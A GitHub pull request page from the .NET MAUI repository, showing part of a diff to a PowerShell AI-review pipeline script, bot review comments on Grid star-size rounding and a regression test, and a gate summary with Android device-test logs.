-                "❌ <code>$($d.category)</code> — $($d.failed_tests.Count) failed test$(if ($d.failed_tests.Count -ne 1) { 's' })"
-            } else {
-                "❌ <code>$($d.category)</code> — build/deploy failed (no per-test results)"
-            }
-            [void]$appendMd.AppendLine("<details><summary>$headSummary</summary>")
-            [void]$appendMd.AppendLine()
-            if ($hasFailedTests) {
-                # GitHub's comment body limit is 65,536 chars; large categories
-                # can have 100+ failures with multi-KB error messages each.
-                # Group by error message to dedup the common "OneTimeSetUp:
-                # Timed out…" cases (one root cause, N tests). Show full
-                # detail for the first 5 unique errors, then a compact list.
-                # @() wrap is required: Group-Object on a single unique key
-                # returns ONE GroupInfo (not an array), and `.Count` on a
-                # GroupInfo returns the size of the group, not the number of
-                # groups — without @() the foreach below would iterate the
-                # group's members instead of the groups themselves.
-                $byErr = @($d.failed_tests | Group-Object -Property {
-                    if ($_.error) { ($_.error -as [string]).Substring(0, [Math]::Min(200, ([string]$_.error).Length)) } else { '<no error>' }
-                } | Sort-Object Count -Descending)
-
-                $shownGroups = 0
-                foreach ($g in $byErr) {
-                    if ($shownGroups -ge 5) {
-                        $remaining = ($byErr | Select-Object -Skip 5 | Measure-Object -Property Count -Sum).Sum
-                        [void]$appendMd.AppendLine("…and $remaining more failure(s) with other error signatures (see CopilotLogs artifact for full detail).")
-                        [void]$appendMd.AppendLine()
-                        break
-                    }
-                    $shownGroups++
-
-                    $first = $g.Group[0]
-                    $count = $g.Count
-                    if ($count -gt 1) {
-                        $sampleNames = ($g.Group | Select-Object -First 3 | ForEach-Object { "``$($_.name)``" }) -join ', '
-                        $more = if ($count -gt 3) { ", … (+$($count - 3) more)" } else { '' }
-                        [void]$appendMd.AppendLine("**$count tests failed with the same error** — e.g. $sampleNames$more")
-                    } else {
-                        [void]$appendMd.AppendLine("**``$($first.name)``** *(took $($first.duration))*")
-                    }
-                    [void]$appendMd.AppendLine()
-
-                    $errBody = if ($first.error) {
-                        $e = [string]$first.error
-                        if ($e.Length -gt 1500) { $e.Substring(0, 1500) + "`n…(truncated)" } else { $e }
-                    } else { "_(no error message captured)_" }
-                    [void]$appendMd.AppendLine('```')
-                    [void]$appendMd.AppendLine($errBody)
-                    [void]$appendMd.AppendLine('```')
-                    if ($first.stack) {
-                        $firstFrame = ($first.stack -split "`n" | Where-Object { $_.Trim() } | Select-Object -First 1)
-                        if ($firstFrame) {
-                            [void]$appendMd.AppendLine("> at $($firstFrame.Trim().TrimStart('a','t',' '))")
-                            [void]$appendMd.AppendLine()
-                        }
-                    }
-                }
-
-                # Always print a compact name-only list of every failed test
-                # so reviewers know exactly which tests need to be re-run,
-                # even if their error matched a deduped group above.
-                if ($d.failed_tests.Count -gt 1) {
-                    [void]$appendMd.AppendLine("<details><summary>All $($d.failed_tests.Count) failed test names</summary>")
-                    [void]$appendMd.AppendLine()
-                    foreach ($ft in $d.failed_tests) {
-                        [void]$appendMd.AppendLine("- ``$($ft.name)``")
-                    }
-                    [void]$appendMd.AppendLine()
-                    [void]$appendMd.AppendLine("</details>")
-                    [void]$appendMd.AppendLine()
-                }
-            }
-            if ($d.build_tail) {
-                $tail = [string]$d.build_tail
-                if ($tail.Length -gt 3000) { $tail = $tail.Substring($tail.Length - 3000) }
-                [void]$appendMd.AppendLine("Last 30 lines of build/test stdout:")
-                [void]$appendMd.AppendLine()
-                [void]$appendMd.AppendLine('```')
-                [void]$appendMd.AppendLine($tail)
-                [void]$appendMd.AppendLine('```')
-            }
-            [void]$appendMd.AppendLine()
-            [void]$appendMd.AppendLine("</details>")
-            [void]$appendMd.AppendLine()
-        }
-    }
-
-    # Per-passed-category mini-summary: only emitted if there were ANY passed
-    # tests, so empty/skipped runs stay quiet.
-    $passedCats = @($uitestDetails | Where-Object { $_.passed_tests -and $_.passed_tests.Count -gt 0 -and $_.result -eq 'PASSED' })
-    if ($passedCats.Count -gt 0) {
-        [void]$appendMd.AppendLine("<details><summary>Show $(($passedCats | Measure-Object -Property tests_passed -Sum).Sum) passed test name(s)</summary>")
-        [void]$appendMd.AppendLine()
-        foreach ($d in $passedCats) {
-            [void]$appendMd.AppendLine("**``$($d.category)``**")
-            [void]$appendMd.AppendLine()
-            foreach ($pt in $d.passed_tests) {
-                [void]$appendMd.AppendLine("- ``$($pt.name)`` *($($pt.duration))*")
-            }
-            [void]$appendMd.AppendLine()
-        }
-        [void]$appendMd.AppendLine("</details>")
-        [void]$appendMd.AppendLine()
-    }
-    [void]$appendMd.AppendLine("_Failures here are informational only — they do not block the gate or affect try-fix candidate scoring._")
-    Add-Content $uitestContentFile $appendMd.ToString() -Encoding UTF8
-
-    # JSON summary for downstream consumers / debugging.
-    @{
-        result   = $uitestRunResult
-        platform = $uitestPlatform
-        passed   = $uitestPassed
-        failed   = $uitestFailed
-        skipped  = $uitestSkipped
-        details  = $uitestDetails
-    } | ConvertTo-Json -Depth 4 | Set-Content (Join-Path $uitestRunOutputDir "test-results.json") -Encoding UTF8
-
-    # result.txt — one-line traceability marker (PASSED / FAILED / SKIPPED).
-    $uitestRunResult | Set-Content (Join-Path $uitestRunOutputDir "result.txt") -Encoding UTF8
-}
-
-# Restore the review branch in case BuildAndRunHostApp.ps1 (or any of its
-# child invocations) detached HEAD or switched branches.
-git checkout $reviewBranch 2>$null | Out-Null
-if ($LASTEXITCODE -ne 0) {
-    Write-Host "  ⚠️ Failed to restore review branch '$reviewBranch' after Step 3 — subsequent steps may run against the wrong tree" -ForegroundColor Red
-}
-
-# ═════════════════════════════════════════════════════════════════════════════
-#  STEP 4: REGRESSION CROSS-REFERENCE (script, no copilot agent)
-# ═════════════════════════════════════════════════════════════════════════════
-
-Write-Host ""
-Write-Host "╔═══════════════════════════════════════════════════════════╗" -ForegroundColor Cyan
-Write-Host "║  STEP 4: REGRESSION CROSS-REFERENCE                      ║" -ForegroundColor Cyan
+Write-Host "║  STEP 3: REGRESSION CROSS-REFERENCE                      ║" -ForegroundColor Cyan
 Write-Host "╚═══════════════════════════════════════════════════════════╝" -ForegroundColor Cyan
 
 $regressionOutputDir = Join-Path $RepoRoot "CustomAgentLogsTmp/PRState/$PRNumber/PRAgent/regression-check"
-$regressionScript = Join-Path $PSScriptRoot "Find-RegressionRisks.ps1"
+$regressionScript = Join-Path $ScriptsDir "Find-RegressionRisks.ps1"
 if (Test-Path $regressionScript) {
     try {
         & $regressionScript -PRNumber $PRNumber -OutputDir $regressionOutputDir
@@ -1168,7 +847,7 @@ if (Test-Path $regressionScript) {
     Write-Host "  ⚠️ Find-RegressionRisks.ps1 not found" -ForegroundColor Yellow
 }
 
-# --- Regression Test Execution (part of STEP 4) ---
+# --- Regression Test Execution (part of STEP 3) ---
 $regressionTestResult = "SKIPPED"
 $regressionRisksJson = Join-Path $regressionOutputDir "risks.json"
 if (Test-Path $regressionRisksJson) {
@@ -1209,8 +888,8 @@ if ($risksData -and ($risksData.result -eq 'REVERT' -or $risksData.result -eq 'O
         $regrTestDetails = @()
 
         $regrPlatform = if ($Platform) { $Platform } else { "android" }
-        $uiTestRunner = Join-Path $RepoRoot ".github/scripts/BuildAndRunHostApp.ps1"
-        $deviceTestRunner = Join-Path $RepoRoot ".github/skills/run-device-tests/scripts/Run-DeviceTests.ps1"
+        $uiTestRunner = Join-Path $ScriptsDir "BuildAndRunHostApp.ps1"
+        $deviceTestRunner = Join-Path $SkillsDir "run-device-tests/scripts/Run-DeviceTests.ps1"
 
         foreach ($t in $regressionTests) {
             Write-Host ""
@@ -1221,7 +900,7 @@ if ($risksData -and ($risksData.result -eq 'REVERT' -or $risksData.result -eq 'O
                     'UITest' {
                         if (Test-Path $uiTestRunner) {
                             Write-Host "    🖥️ Running UI test via BuildAndRunHostApp.ps1 -Platform $regrPlatform -TestFilter `"$($t.Filter)`"" -ForegroundColor Cyan
-                            $testOutput = & $uiTestRunner -Platform $regrPlatform -TestFilter $t.Filter 2>&1
+                            $testOutput = Invoke-WithoutGhTokens { & $uiTestRunner -Platform $regrPlatform -TestFilter $t.Filter 2>&1 }
                             $testExitCode = $LASTEXITCODE
                             $testOutput | Select-Object -Last 20 | ForEach-Object { Write-Host "    $_" }
                         } else {
@@ -1233,7 +912,7 @@ if ($risksData -and ($risksData.result -eq 'REVERT' -or $risksData.result -eq 'O
                         if (Test-Path $deviceTestRunner) {
                             $dtProject = if ($t.Project) { $t.Project } else { 'Controls' }
                             Write-Host "    📱 Running device test via Run-DeviceTests.ps1 -Project $dtProject -Platform $regrPlatform -TestFilter `"$($t.Filter)`"" -ForegroundColor Cyan
-                            $testOutput = & $deviceTestRunner -Project $dtProject -Platform $regrPlatform -TestFilter $t.Filter 2>&1
+                            $testOutput = Invoke-WithoutGhTokens { & $deviceTestRunner -Project $dtProject -Platform $regrPlatform -TestFilter $t.Filter 2>&1 }
                             $testExitCode = $LASTEXITCODE
                             $testOutput | Select-Object -Last 20 | ForEach-Object { Write-Host "    $_" }
                         } else {
@@ -1245,7 +924,7 @@ if ($risksData -and ($risksData.result -eq 'REVERT' -or $risksData.result -eq 'O
                         if ($t.ProjectPath) {
                             $resolvedProj = Join-Path $RepoRoot $t.ProjectPath
                             Write-Host "    🧪 Running: dotnet test $($t.ProjectPath) --filter `"$($t.Filter)`"" -ForegroundColor Cyan
-                            $testOutput = dotnet test $resolvedProj --filter $t.Filter --logger "console;verbosity=minimal" 2>&1
+                            $testOutput = Invoke-WithoutGhTokens { dotnet test $resolvedProj --filter $t.Filter --logger "console;verbosity=minimal" 2>&1 }
                             $testExitCode = $LASTEXITCODE
                             $testOutput | Select-Object -Last 20 | ForEach-Object { Write-Host "    $_" }
                         } else {
@@ -1324,13 +1003,13 @@ if ($risksData -and ($risksData.result -eq 'REVERT' -or $risksData.result -eq 'O
 }
 
 # ═════════════════════════════════════════════════════════════════════════════
-#  STEP 5: Gate - Test Before and After Fix (script, no copilot agent)
+#  STEP 4: Gate - Test Before and After Fix (script, no copilot agent)
 # ═════════════════════════════════════════════════════════════════════════════
 
-# TEMP: Skip Gate (STEP 5) + Try-Fix (STEP 6) for fast iteration on the
+# TEMP: Skip Gate (STEP 4) + Try-Fix (STEP 5) for fast iteration on the
 # inline-stages architecture. Both phases are expensive (build the whole
-# repo, run agents on multiple candidates) and we just need STEPs 1-4 +
-# STEP 7 (post comment) to validate that detectedCategories /
+# repo, run agents on multiple candidates) and we just need STEPs 1-3 +
+# STEP 6 (post comment) to validate that detectedCategories /
 # aiSummaryCommentId output variables flow through to the new
 # RunDeepUITests + UpdateAISummaryComment stages. Flip $skipGateAndTryFix
 # back to $false (or delete the wrapper) once the new pipeline stages
@@ -1340,7 +1019,7 @@ if (-not $skipGateAndTryFix) {
 
 Write-Host ""
 Write-Host "╔═══════════════════════════════════════════════════════════╗" -ForegroundColor Yellow
-Write-Host "║  STEP 5: GATE — TEST VERIFICATION                         ║" -ForegroundColor Yellow
+Write-Host "║  STEP 4: GATE — TEST VERIFICATION                         ║" -ForegroundColor Yellow
 Write-Host "╚═══════════════════════════════════════════════════════════╝" -ForegroundColor Yellow
 
 $gateOutputDir = Join-Path $RepoRoot "CustomAgentLogsTmp/PRState/$PRNumber/PRAgent/gate"
@@ -1348,7 +1027,7 @@ New-Item -ItemType Directory -Force -Path $gateOutputDir | Out-Null
 
 # Detect tests in PR
 Write-Host "  🔍 Detecting tests in PR #$PRNumber..." -ForegroundColor Cyan
-$testDetectScript = Join-Path $PSScriptRoot "shared/Detect-TestsInDiff.ps1"
+$testDetectScript = Join-Path $ScriptsDir "shared/Detect-TestsInDiff.ps1"
 if (Test-Path $testDetectScript) {
     $testDetectScript = (Resolve-Path $testDetectScript).Path
     & pwsh -NoProfile -File $testDetectScript -PRNumber $PRNumber 2>&1 | ForEach-Object { Write-Host "    $_" }
@@ -1360,7 +1039,7 @@ if (Test-Path $testDetectScript) {
 $gatePlatform = if ($Platform) { $Platform } else { "android" }
 Write-Host "  🧪 Running gate on platform: $gatePlatform" -ForegroundColor Cyan
 
-$verifyScript = [System.IO.Path]::GetFullPath((Join-Path $PSScriptRoot "../skills/verify-tests-fail-without-fix/scripts
... [truncated]

The diff was truncated to fit GitHub's review body limit.

@MauiBot MauiBot removed the s/agent-changes-requested AI agent recommends changes - found a better alternative or issues label May 28, 2026
@kubaflo
Copy link
Copy Markdown
Contributor

kubaflo commented May 29, 2026

/review -b feature/refactor-copilot-yml -p android

Copy link
Copy Markdown
Collaborator

@MauiBot MauiBot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Expert Review — 3 findings

See inline comments for details.

return new int[portions.Length]; // All zeros

var result = new int[portions.Length];
var targetTotal = (int)Math.Floor(totalPixels);
Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[major] Logic and Correctness — This floors the total pixel budget, but Android arrangement uses Context.ToPixels, which ceilings sizes to avoid clipping. Concrete scenario: 300dp at 2.625 density is 787.5px; Android gives the parent 788px, while this allocator only distributes 787px, leaving star children one physical pixel short. Use the same rounding policy as Android arrange (or distribute the actual arranged pixel width) so the children exactly fill the parent.

@@ -925,12 +929,14 @@ static void ExpandStars(double targetSize, double currentSize, Definition[] defs
// targetStarSize, that means we have enough room to expand all of our star rows/columns
// to their full size.

foreach (var definition in defs)
var starDefinitions = defs.Where(d => d.IsStar).ToArray();
Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[major] Performance-Critical Path OptimizationExpandStars runs during Grid arrange, but this adds LINQ and temporary arrays (Where(...).ToArray(), Select(...).ToArray(), Sum()) on every arrange pass for star grids; the proportional branch repeats the same pattern. Grid is commonly used in item templates and hot layout paths, so this will allocate during scrolling/layout. Replace this with indexed loops over defs that compute totals and assign sizes without per-arrange allocations.

[Category(UITestCategories.Border)]
public void ShouldDisplayLabelWithoutBeingCroppedInsideBorder()
{
App.WaitForElement("Label");
Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[critical] Regression Prevention — This regression only waits for the label and snapshots the page, but the gate result shows the test does not fail without the fix. It also omits the original repro behavior of varying padding around the 70–72dp range and comparing the Border-contained label against an unclipped label. Please make the test deterministically fail on the pre-fix Android scenario (for example by asserting the full text/bounds are visible at the problematic padding/density, or by using a screenshot/precondition that the gate proves fails without the production change).

@MauiBot
Copy link
Copy Markdown
Collaborator

MauiBot commented May 29, 2026

🤖 AI Summary

👋 @NanthiniMahalingam — new AI review results are available. Please review the latest session below.

📊 Review Session1f41b06 · resaved pending snapshots. · 2026-05-29 19:25 UTC
🚦 Gate — Test Before & After Fix

Gate Result: ❌ FAILED

Platform: ANDROID · Base: main · Merge base: b0ea772f

Test Without Fix (expect FAIL) With Fix (expect PASS)
📱 ViewTests ViewTests ✅ FAIL — 1455s ✅ PASS — 1042s
📱 WindowHandlerStub WindowHandlerStub ❌ PASS — 1154s ✅ PASS — 1008s
🖥️ Issue28117 Issue28117 ✅ FAIL — 656s ✅ PASS — 596s
🧪 GridLayoutManagerDensityTests GridLayoutManagerDensityTests ❌ PASS — 24s ✅ PASS — 19s
🔴 Without fix — 📱 ViewTests: FAIL ✅ · 1455s

(truncated to last 15,000 chars)

DOTNET  : 	[PASS] FlyoutItems Render When FlyoutBehavior Starts As Locked
      05-29 09:58:25.654  8713 13248 I DOTNET  : 	[PASS] TitleView Updates to Currently Visible Page
      05-29 09:58:26.532  8713 13253 I DOTNET  : 	[PASS] SwappingOutAndroidContextDoesntCrash
      05-29 09:58:28.691  8713 13258 I DOTNET  : 	[PASS] Pushing the Same Page Disconnects Previous Toolbar Items
      05-29 09:58:28.691  8713 13258 I DOTNET  : Microsoft.Maui.DeviceTests.ShellTests 83.2026031 ms
      05-29 09:58:29.617  8713 13263 I DOTNET  : 	[PASS] LoadedFiresOnPushedPage
      05-29 09:58:29.857  8713 13269 I DOTNET  : 	[PASS] LoadedAndUnloadedFire
      05-29 09:58:30.435  8713 13274 I DOTNET  : 	[PASS] NavigatedToFiresAfterLoaded
      05-29 09:58:30.881  8713 13279 I DOTNET  : 	[PASS] LoadedAndUnloadedFireWhenParentRemoved
      05-29 09:58:30.881  8713 13279 I DOTNET  : Microsoft.Maui.DeviceTests.VisualElementTests+NewWindowCollection 2.1063312 ms
      05-29 09:58:31.117  8713 13284 I DOTNET  : 	[PASS] FindPlatformViewViaDefaultContainer
      05-29 09:58:31.384  8713 13289 I DOTNET  : 	[PASS] FindPlatformViewInsideView
      05-29 09:58:31.585  8713 13294 I DOTNET  : 	[PASS] FindPlatformViewInsideView
      05-29 09:58:31.828  8713 13299 I DOTNET  : 	[PASS] GetVisualTreeElements
      05-29 09:58:32.109  8713 13304 I DOTNET  : 	[PASS] FindPlatformViewInsideLayout
      05-29 09:58:32.342  8713 13309 I DOTNET  : 	[PASS] FindVisualTreeElementWithArbitraryPlatformViewsAdded
      05-29 09:58:32.626  8713 13314 I DOTNET  : 	[PASS] FindPlatformViewInsideScrollView
      05-29 09:58:33.143  8713 13319 I DOTNET  : 	[PASS] FindFirstMauiParentElement
      05-29 09:58:33.357  8713 13324 I DOTNET  : 	[PASS] FindFirstMauiParentElement
      05-29 09:58:33.357  8713 13324 I DOTNET  : Microsoft.Maui.DeviceTests.VisualElementTreeTests 2.0776168 ms
      05-29 09:58:33.725  8713 13329 I DOTNET  : 	[PASS] SwitchBetweenWindowShouldTriggerIsActivated
      05-29 09:58:34.131  8713 13334 I DOTNET  : 	[PASS] MainPageSwapTests
      05-29 09:58:34.682  8713 13339 I DOTNET  : 	[PASS] MainPageSwapTests
      05-29 09:58:35.221  8713 13344 I DOTNET  : 	[PASS] MainPageSwapTests
      05-29 09:58:35.860  8713 13349 I DOTNET  : 	[PASS] MainPageSwapTests
      05-29 09:58:36.061  8713 13354 I DOTNET  : 	[PASS] WindowDestroyingPreservesWindowScopeOnAndroid
      05-29 09:58:37.175  8713 13359 I DOTNET  : 	[PASS] ChangingToNewMauiContextDoesntCrash
      05-29 09:58:38.162  8713 13364 I DOTNET  : 	[PASS] ChangingToNewMauiContextDoesntCrash
      05-29 09:58:38.787  8713 13369 I DOTNET  : 	[PASS] ChangingToNewMauiContextDoesntCrash
      05-29 09:58:39.316  8713 13374 I DOTNET  : 	[PASS] ChangingToNewMauiContextDoesntCrash
      05-29 09:58:39.512  8713 13379 I DOTNET  : 	[PASS] WindowIsActivedRespondToMethodsCall
      05-29 09:58:39.803  8713 13384 I DOTNET  : 	[PASS] Toolbar Items Update when swapping out Main Page on Handler
      05-29 09:58:39.953  8713 13389 I DOTNET  : 	[PASS] Initial Dispatch from Background Thread Succeeds
      05-29 09:58:39.953  8713 13389 I DOTNET  : Microsoft.Maui.DeviceTests.WindowTests 6.3733887 ms
      05-29 09:58:39.956  8713 13389 I DOTNET  : Test collection for Microsoft.Maui.DeviceTests.HybridWebViewTests_Initialization
      05-29 09:58:46.638  8713 13395 I DOTNET  : 	[PASS] CanSetUserAgentUsingProperties
      05-29 09:58:53.017  8713 13401 I DOTNET  : 	[PASS] CanSetUserAgentUsingInitializingEvent
      05-29 09:58:59.643  8713 13408 I DOTNET  : 	[PASS] InitializedEventIsRaised
      05-29 09:59:06.090  8713 13415 I DOTNET  : 	[PASS] InitializingEventIsRaised
      05-29 09:59:12.640  8713 13423 I DOTNET  : 	[PASS] InitializingEventIsRaisedAndPropertiesSetAreApplied
      05-29 09:59:12.641  8713 13423 I DOTNET  : Microsoft.Maui.DeviceTests.HybridWebViewTests_Initialization 32.5966348 ms
      05-29 09:59:12.641  8713 13423 I DOTNET  : Test collection for Microsoft.Maui.DeviceTests.FormattedStringTests
      05-29 09:59:12.717  8713 13428 I DOTNET  : 	[PASS] NativeFormattedStringContainsSpan
      05-29 09:59:12.717  8713 13428 I DOTNET  : Microsoft.Maui.DeviceTests.FormattedStringTests 0.0588394 ms
      05-29 09:59:12.717  8713 13428 I DOTNET  : Test collection for Microsoft.Maui.DeviceTests.AlertDialogTests
      05-29 09:59:12.833  8713 13428 I DOTNET  : 	[PASS] AlertDialogButtonColorDarkTheme
      05-29 09:59:13.029  8713 13435 I DOTNET  : 	[PASS] AlertDialogButtonColorLightTheme
      05-29 09:59:13.029  8713 13435 I DOTNET  : Microsoft.Maui.DeviceTests.AlertDialogTests 0.3083281 ms
      05-29 09:59:13.029  8713 13435 I DOTNET  : Test collection for Microsoft.Maui.DeviceTests.MapperTests
      05-29 09:59:13.049  8713 13435 I DOTNET  : 	[PASS] ValidateMapperGenerics
      05-29 09:59:13.049  8713 13435 I DOTNET  : 	[PASS] ValidateMapperGenerics
      05-29 09:59:13.049  8713 13435 I DOTNET  : Microsoft.Maui.DeviceTests.MapperTests 0.0161463 ms
      05-29 09:59:13.049  8713 13435 I DOTNET  : Test collection for Microsoft.Maui.DeviceTests.EntryTests
      05-29 09:59:13.149  8713 13441 I DOTNET  : 	[PASS] ScaleXConsistent
      05-29 09:59:13.156  8713 13441 I DOTNET  : 	[PASS] MaxLengthTrims
      05-29 09:59:13.161  8713 13441 I DOTNET  : 	[PASS] EntryMaxLengthAndTextOrder_RespectsMaxLength
      05-29 09:59:13.166  8713 13441 I DOTNET  : 	[PASS] VerifyEntryIsVisibleProperty
      05-29 09:59:13.182  8713 13446 I DOTNET  : 	[PASS] ChangingPlatformTextPreservesTextTransform
      05-29 09:59:13.186  8713 13446 I DOTNET  : 	[PASS] ChangingPlatformTextPreservesTextTransform
      05-29 09:59:13.190  8713 13446 I DOTNET  : 	[PASS] ScaleConsistent
      05-29 09:59:13.214  8713 13446 I DOTNET  : 	[PASS] Entry with longer text and short text updates correctly
      05-29 09:59:13.217  8713 13446 I DOTNET  : 	[PASS] InitializingTextTransformBeforeTextShouldUpdateTextProperty
      05-29 09:59:13.220  8713 13446 I DOTNET  : 	[PASS] RotationYConsistent
      05-29 09:59:13.223  8713 13446 I DOTNET  : 	[PASS] EntryTranslationConsistent
      05-29 09:59:13.254  8713 13452 I DOTNET  : 	[PASS] Android crash when Entry has more than 5000 characters
      05-29 09:59:13.266  8713 13457 I DOTNET  : 	[PASS] UpdateTextWithTextLongerThanMaxLength
      05-29 09:59:13.284  8713 13462 I DOTNET  : 	[PASS] VerifyEntryOpacityProperty
      05-29 09:59:13.474  8713 13468 I DOTNET  : 	[PASS] EntryBackgroundColorConsistent
      05-29 09:59:13.487  8713 13468 I DOTNET  : 	[PASS] SelectionLengthRightToLeft
      05-29 09:59:13.492  8713 13468 I DOTNET  : 	[PASS] RotationXConsistent
      05-29 09:59:13.499  8713 13468 I DOTNET  : 	[PASS] CursorPositionPreservedWhenTextTransformPresent
      05-29 09:59:13.503  8713 13468 I DOTNET  : 	[PASS] ScaleYConsistent
      05-29 09:59:13.510  8713 13468 I DOTNET  : 	[PASS] RotationConsistent
      05-29 09:59:13.511  8713 13468 I DOTNET  : Microsoft.Maui.DeviceTests.EntryTests 0.4314789 ms
      05-29 09:59:13.724  8713 13468 I DOTNET  : Test collection for Microsoft.Maui.DeviceTests.LabelTests
      05-29 09:59:13.808  8713 13474 I DOTNET  : 	[PASS] FormattedStringSpanTextTransformOverridesLabelTextTransform
      05-29 09:59:14.029  8713 13479 I DOTNET  : 	[PASS] FontStuffAfterTextTypeIsCorrect
      05-29 09:59:14.037  8713 13479 I DOTNET  : 	[PASS] VerifyLabelIsVisibleProperty
      05-29 09:59:14.057  8713 13485 I DOTNET  : 	[PASS] Html Text Initializes Correctly
      05-29 09:59:14.060  8713 13485 I DOTNET  : 	[PASS] Negative MaxLines value with wrap is correct
      05-29 09:59:14.219  8713 13490 I DOTNET  : 	[PASS] LabelTruncatesCorrectly
      05-29 09:59:14.373  8713 13495 I DOTNET  : 	[PASS] LabelTruncatesCorrectly
      05-29 09:59:14.531  8713 13500 I DOTNET  : 	[PASS] LabelTruncatesCorrectly
      05-29 09:59:14.697  8713 13505 I DOTNET  : 	[PASS] LabelTruncatesCorrectly
      05-29 09:59:14.849  8713 13510 I DOTNET  : 	[PASS] LabelTruncatesCorrectly
      05-29 09:59:15.003  8713 13515 I DOTNET  : 	[PASS] LabelTruncatesCorrectly
      05-29 09:59:15.167  8713 13520 I DOTNET  : 	[PASS] LabelTruncatesCorrectly
      05-29 09:59:15.324  8713 13525 I DOTNET  : 	[PASS] LabelTruncatesCorrectly
      05-29 09:59:15.487  8713 13530 I DOTNET  : 	[PASS] LabelTruncatesCorrectly
      05-29 09:59:15.638  8713 13535 I DOTNET  : 	[PASS] LabelTruncatesCorrectly
      05-29 09:59:15.818  8713 13540 I DOTNET  : 	[PASS] LabelTruncatesCorrectly
      05-29 09:59:15.977  8713 13545 I DOTNET  : 	[PASS] LabelTruncatesCorrectly
      05-29 09:59:15.987  8713 13545 I DOTNET  : 	[PASS] VerifyLabelOpacityProperty
      05-29 09:59:16.127  8713 13550 I DOTNET  : 	[PASS] FontStuffAppliesEvenInHtmlMode
      05-29 09:59:16.133  8713 13550 I DOTNET  : 	[PASS] LabelTranslationConsistent
      05-29 09:59:16.139  8713 13550 I DOTNET  : 	[PASS] TextTransformUpdated
      05-29 09:59:16.145  8713 13550 I DOTNET  : 	[PASS] TextTransformUpdated
      05-29 09:59:16.149  8713 13550 I DOTNET  : 	[PASS] ScaleXConsistent
      05-29 09:59:16.229  8713 13555 I DOTNET  : 	[PASS] TextColorAppliesEvenInHtmlMode
      05-29 09:59:16.230  8713 13555 I DOTNET  : 	[PASS] Vertical text aligned when RTL is not supported
      05-29 09:59:16.245  8713 13560 I DOTNET  : 	[PASS] Using TailTruncation LineBreakMode with 2 MaxLines
      05-29 09:59:16.247  8713 13560 I DOTNET  : 	[PASS] LineBreakMode TailTruncation does not affect MaxLines
      05-29 09:59:16.248  8713 13560 I DOTNET  : 	[PASS] Horizontal text aligned when RTL is not supported
      05-29 09:59:16.732  8713 13565 I DOTNET  : 	[PASS] UpdatingFormattedTextResultsInTheSameLayout
      05-29 09:59:17.204  8713 13570 I DOTNET  : 	[PASS] UpdatingFormattedTextResultsInTheSameLayout
      05-29 09:59:17.663  8713 13575 I DOTNET  : 	[PASS] UpdatingFormattedTextResultsInTheSameLayout
      05-29 09:59:18.381  8713 13580 I DOTNET  : 	[PASS] FormattedStringSpanTextHasCorrectColorWhenChangedAfterCreation
      05-29 09:59:18.671  8713 13585 I DOTNET  : 	[PASS] FormattedStringSpanTextHasCorrectColorWhenChanges
      05-29 09:59:18.682  8713 13585 I DOTNET  : 	[PASS] LineBreakMode does not affect MaxLines
      05-29 09:59:18.686  8713 13585 I DOTNET  : 	[PASS] RotationConsistent
      05-29 09:59:19.125  8713 13590 I DOTNET  : 	[PASS] FormattedStringSpanTextHasCorrectLayoutWhenAligned
      05-29 09:59:19.555  8713 13595 I DOTNET  : 	[PASS] FormattedStringSpanTextHasCorrectLayoutWhenAligned
      05-29 09:59:19.997  8713 13600 I DOTNET  : 	[PASS] FormattedStringSpanTextHasCorrectLayoutWhenAligned
      05-29 09:59:20.004  8713 13600 I DOTNET  : 	[PASS] MaxLines Initializes Correctly
      05-29 09:59:20.009  8713 13600 I DOTNET  : 	[PASS] RotationXConsistent
      05-29 09:59:20.017  8713 13600 I DOTNET  : 	[PASS] LineBreakMode Initializes Correctly
      05-29 09:59:20.022  8713 13600 I DOTNET  : 	[PASS] InitialTextTransformApplied
      05-29 09:59:20.027  8713 13600 I DOTNET  : 	[PASS] InitialTextTransformApplied
      05-29 09:59:20.031  8713 13600 I DOTNET  : 	[PASS] RotationYConsistent
      05-29 09:59:20.035  8713 13600 I DOTNET  : 	[PASS] Single LineBreakMode changes MaxLines
      05-29 09:59:20.039  8713 13600 I DOTNET  : 	[PASS] VerifyLabelIsEnabledProperty
      05-29 09:59:20.039  8713 13600 I DOTNET  : 	[IGNORED] InitialFormattedTextMatchesText
      05-29 09:59:20.246  8713 13600 I DOTNET  : 	[PASS] TextTypeAfterFontStuffIsCorrect
      05-29 09:59:20.250  8713 13600 I DOTNET  : 	[PASS] ScaleYConsistent
      05-29 09:59:20.254  8713 13600 I DOTNET  : 	[PASS] ScaleConsistent
      05-29 09:59:22.902  8713 13605 I DOTNET  : 	[PASS] ChangingTextTypeWithFormattedTextSwitchesTextSource
      05-29 09:59:22.913  8713 13605 I DOTNET  : 	[PASS] FormattedStringSpanTextTransformApplied
      05-29 09:59:22.920  8713 13605 I DOTNET  : 	[PASS] FormattedStringSpanTextTransformApplied
      05-29 09:59:23.079  8713 13610 I DOTNET  : 	[PASS] LabelBackgroundColorConsistent
      05-29 09:59:28.333  8713 13621 I DOTNET  : 	[PASS] Does Not Leak
      05-29 09:59:28.336  8713 13621 I DOTNET  : 	[PASS] Unsetting single LineBreakMode resets MaxLines
      05-29 09:59:28.338  8713 13621 I DOTNET  : 	[PASS] Unsetting single LineBreakMode resets MaxLines
      05-29 09:59:28.338  8713 13621 I DOTNET  : Microsoft.Maui.DeviceTests.LabelTests 13.9233243 ms
      05-29 09:59:28.338  8713 13621 I DOTNET  : Test collection for Microsoft.Maui.DeviceTests.DispatchingTests
      05-29 09:59:28.891  8713 13626 I DOTNET  : 	[PASS] DispatchFromBackgroundThread
      05-29 09:59:28.891  8713 13626 I DOTNET  : Microsoft.Maui.DeviceTests.DispatchingTests 0.5370721 ms
      05-29 09:59:28.891  8713 13626 I DOTNET  : Test collection for Microsoft.Maui.DeviceTests.ContentViewTests
      05-29 09:59:28.901  8713 13626 I DOTNET  : 	[PASS] ContentView updating it's ControlTemplate works
      05-29 09:59:28.907  8713 13626 I DOTNET  : 	[PASS] PropagateContextCorrectly
      05-29 09:59:28.907  8713 13626 I DOTNET  : Microsoft.Maui.DeviceTests.ContentViewTests 0.0159938 ms
      05-29 09:59:28.907  8713 13626 I DOTNET  : Test collection for Microsoft.Maui.DeviceTests.SwipeViewTests
